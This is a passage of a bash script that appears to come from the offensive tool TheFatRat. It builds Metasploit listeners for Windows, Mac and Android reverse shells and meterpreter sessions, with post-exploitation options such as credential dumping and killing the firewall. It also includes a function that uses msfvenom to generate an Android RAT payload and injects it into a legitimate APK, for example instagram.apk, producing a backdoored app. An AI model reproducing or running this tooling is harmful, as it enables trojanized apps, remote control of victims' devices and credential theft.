rm temp/*.rc > /dev/null 2>&1
touch "temp/meterpreter_windows.rc"
echo use exploit/multi/handler >> "temp/meterpreter_windows.rc"
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "windows/shell_bind_tcp" FALSE "windows/shell/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp" FALSE "windows/meterpreter/reverse_tcp_dns" FALSE "windows/meterpreter/reverse_http" FALSE "windows/meterpreter/reverse_https" FALSE "windows/powershell_bind_tcp" FALSE "windows/powershell_reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo set PAYLOAD $payload >> "temp/meterpreter_windows.rc"
pe=$(zenity --list --title "☣ TheFatRat ☣" --text "\npost-exploitation module to run" --radiolist --column "Pick" --column "Option" TRUE "sysinfo.rc" FALSE "fast_migrate.rc" FALSE "cred_dump.rc" FALSE "gather.rc" FALSE "auto_migrate+killfirewall.rc" --width 350 --height 240) > /dev/null 2>&1
echo -e $okegreen ""
read -p ' Set LHOST IP: ' uservar
echo set LHOST $uservar >> "temp/meterpreter_windows.rc"
read -p ' Set LPORT: ' uservar
echo set LPORT $uservar >> "temp/meterpreter_windows.rc"
echo set AutoRunScript multi_console_command -rc $path/postexploit/$pe >> "temp/meterpreter_windows.rc"
echo set ExitOnSession false >> "temp/meterpreter_windows.rc"
echo exploit -j >> "temp/meterpreter_windows.rc"
xterm -fa monaco -fs 13 -bg black -e $msfconsole -r "temp/meterpreter_windows.rc"
clear
elif test $fatrat1 == '3' #Mac
then
rm temp/*.rc > /dev/null 2>&1
touch "temp/meterpreter_mac.rc"
echo use exploit/multi/handler > "temp/meterpreter_mac.rc"
echo set PAYLOAD osx/x86/shell_reverse_tcp >> "temp/meterpreter_mac.rc"
echo -e $okegreen ""
read -p ' Set LHOST IP: ' uservar
echo set LHOST $uservar >> "temp/meterpreter_mac.rc"
read -p ' Set LPORT: ' uservar
echo set LPORT $uservar >> "temp/meterpreter_mac.rc"
echo set ExitOnSession false >> "temp/meterpreter_mac.rc"
echo exploit -j >> "temp/meterpreter_mac.rc"
xterm -fa monaco -fs 13 -bg black -e $msfconsole -r "temp/meterpreter_mac.rc"
clear
elif test $fatrat1 == '4' #Android
then
rm temp/*.rc > /dev/null 2>&1
touch "temp/meterpreter_android.rc"
echo use exploit/multi/handler > "temp/meterpreter_android.rc"
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "android/meterpreter/reverse_http" FALSE "android/meterpreter/reverse_https" FALSE "android/meterpreter/reverse_tcp" FALSE "android/shell/reverse_http" FALSE "android/shell/reverse_https" FALSE "android/shell/reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo set PAYLOAD $payload >> "temp/meterpreter_android.rc"
echo -e $okegreen ""
read -p ' Set LHOST IP: ' uservar
echo set LHOST $uservar >> "temp/meterpreter_android.rc"
read -p ' Set LPORT: ' uservar
echo set LPORT $uservar >> "temp/meterpreter_android.rc"
echo set ExitOnSession false >> "temp/meterpreter_android.rc"
echo exploit -j >> "temp/meterpreter_android.rc"
xterm -fa monaco -fs 13 -bg black -e $msfconsole -r "temp/meterpreter_android.rc"
clear
elif test $fatrat1 == '5'
then
clear
menu
else
echo -e " Incorrect Number"
fi
echo -n -e " Do you want exit? ( Yes / No ) : "
read back
if [ $back != 'n' ] && [ $back != 'N' ]
then
clear
exit
elif [ $back != 'y' ] && [ $back != 'Y' ]
then
clisteners
fi
}
#EMBEDBACKDOORAPK
function embedapk() {
clear
echo -e $okegreen"[ ]===========================================================================$okegreen[ ]"
echo -e $okegreen"[ ]$cyan $okegreen [ ]"
echo -e $okegreen"[ ]$cyan ) ( ) ) ( ( ) $okegreen [ ] ";
echo -e $okegreen"[ ]$cyan ( ( ( ( /( )\ ) ( /( ( /( )\ ) )\ ) ( /( ( $okegreen [ ] ";
echo -e $okegreen"[ ]$cyan )\ )\ )\ )\())(()/( )\()) )\()) (()/((()/( )\()) )\ ) $okegreen[ ] ";
echo -e $okegreen"[ ]$cyan ((_)((((_)( (((_) |((_)\ /(_)) ((_)\ ((_)\ /(_))/(_))((_)\ (()/( $okegreen[ ] ";
echo -e $okegreen"[ ]$cyan (_) )\_ )\ )\___ |_ ((_)(_))_ ((_) ((_) (_)) (_)) _((_) /(_))_ $okegreen[ ] ";
echo -e $okegreen"[ ]$cyan | _ ) (_)_\(_)((/ __|| |/ / | \ / _ \ / _ \ | _ \|_ _| | \| |(_)) __|$okegreen[ ] ";
echo -e $okegreen"[ ]$cyan | _ \ / _ \ | (__ ' < | |) || (_) || (_) || / | | | .\` | | (_ |$okegreen[ ] ";
echo -e $okegreen"[ ]$cyan |___/ /_/ \_\ \___| _|\_\ |___/ \___/ \___/ |_|_\|___| |_|\_| \___|$okegreen[ ]";
echo -e $okegreen"[ ]$okegreen===========================================================================$okegreen[ ]"
echo -e $okegreen"[ ]$red Embed a Metasploit Payload in an original .apk files $okegreen[ ]"
echo -e $okegreen"[ ]$red This script is POC for injecting metasploit payload arbitary apk backdoor $okegreen[ ]"
echo -e $okegreen"[ ]$okegreen===========================================================================$okegreen[ ]"
echo ""
echo "Cleaning Temp files"
rm -rf output/*
rm -rf backdoored/output/*
sleep 2
echo "Done!"
echo -e $okegreen""
sleep 1
echo -ne " SET LHOST : ";tput sgr0
read yourip
echo ""
echo -ne $okegreen "SET LPORT : ";tput sgr0
read yourport
echo ""
echo -ne $okegreen "Located Original Apk file for embed (example:$path/PE/instagram.apk) :" ;tput sgr0
read copyfile
cp $copyfile $path/output/fatrat.apk >/dev/null 2>&1
apkt="$path/output/fatrat.apk"
if [ ! -f $apkt ]; then
echo "[!] There was an error copying your APK to a temporary folder , make sure you wrote the right path "
read -rsp $'Press any key to continue to return to fatrat menu\n' -n 1 key
menu
fi
$unzip -l $apkt > /dev/null 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "[!] Original APK file specified is not valid"
read -rsp $'Press any key to continue to return to fatrat menu\n' -n 1 key
menu
fi
echo ""
payload=$(zenity --list --title "☣ TheFatRat ☣" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "android/meterpreter/reverse_http" FALSE "android/meterpreter/reverse_https" FALSE "android/meterpreter/reverse_tcp" FALSE "android/shell/reverse_http" FALSE "android/shell/reverse_https" FALSE "android/shell/reverse_tcp" --width 350 --height 300) > /dev/null 2>&1
echo ""
echo ""
echo ""
spinlong
gboor2
spinlong
echo ""
sleep 1
echo "Creating RAT payload with msfvenom"
$msfvenom -f raw -p $payload LHOST=$yourip LPORT=$yourport -o $path/output/payload.apk
echo "Done !"
sleep 2
echo "Starting the merging process of RAT with the APK you selected"
echo ""
ruby $apkembed $path/output/fatrat.apk
echo ""
sleep 2
cp $path/output/fatrat_backdoored.apk $path/backdoored/apkembed.apk >/dev/null 2>&1
varopt="$path/backdoored/apkembed.apk"
if [ ! -f $varopt ]; then
echo "[!] There was an error in the creation of your RAT APK file , the possible reasons are :
- The architecture of the file is not for android
- The original APK is protected
- It was not possible to inject the payload in the hook you selected (in this case select a different hook point)"
read -rsp $'Press any key to continue to return to fatrat menu\n' -n 1 key
menu
fi